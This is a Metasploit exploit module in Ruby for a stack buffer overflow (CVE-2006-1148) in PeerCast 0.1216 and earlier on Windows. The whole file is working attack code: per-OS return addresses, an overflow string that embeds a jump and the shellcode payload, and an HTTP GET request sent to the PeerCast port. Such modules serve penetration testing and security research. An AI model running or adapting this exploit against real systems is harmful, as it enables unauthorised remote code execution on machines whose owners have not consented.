PeerCast <= 0.1216 URL Handling Buffer Overflow (Win32)



##

# $Id: peercast_url.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (win32)',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in PeerCast <= v0.1216.
                The vulnerability is caused due to a boundary error within the
                handling of URL parameters.
            },
            'Author'         => [ 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 10394 $',
            'References'     =>
                [
                    ['CVE', '2006-1148'],
                    ['OSVDB', '23777'],
                    ['BID', '17040'],
                    ['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'    => 400,
                    'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    ['Windows 2000 English SP0-SP4', { 'Ret' => 0x75023360 }],
                    ['Windows 2003 English SP0-SP1', { 'Ret' => 0x77d099e3 }],
                    ['Windows XP English SP0/SP1',   { 'Ret' => 0x77dbfa2c }],
                    ['Windows XP English SP0/SP2',   { 'Ret' => 0x77dc12b8 }],
                ],
            'DisclosureDate' => 'Mar 8 2006'))

        register_options( [ Opt::RPORT(7144) ], self.class )
    end

    def exploit
        connect

        pat = rand_text_alphanumeric(1024)
        pat[768, 4] = [target.ret].pack('V')
        pat[812, 5] = [0xe9, -517].pack('CV')
        pat[300, payload.encoded.length] = payload.encoded

        uri = '/stream/?' + pat

        res = "GET #{uri} HTTP/1.0\r\n\r\n"

        print_status("Trying target address 0x%.8x..." % target.ret)
        sock.put(res)
        sock.close

        handler
        disconnect
    end

end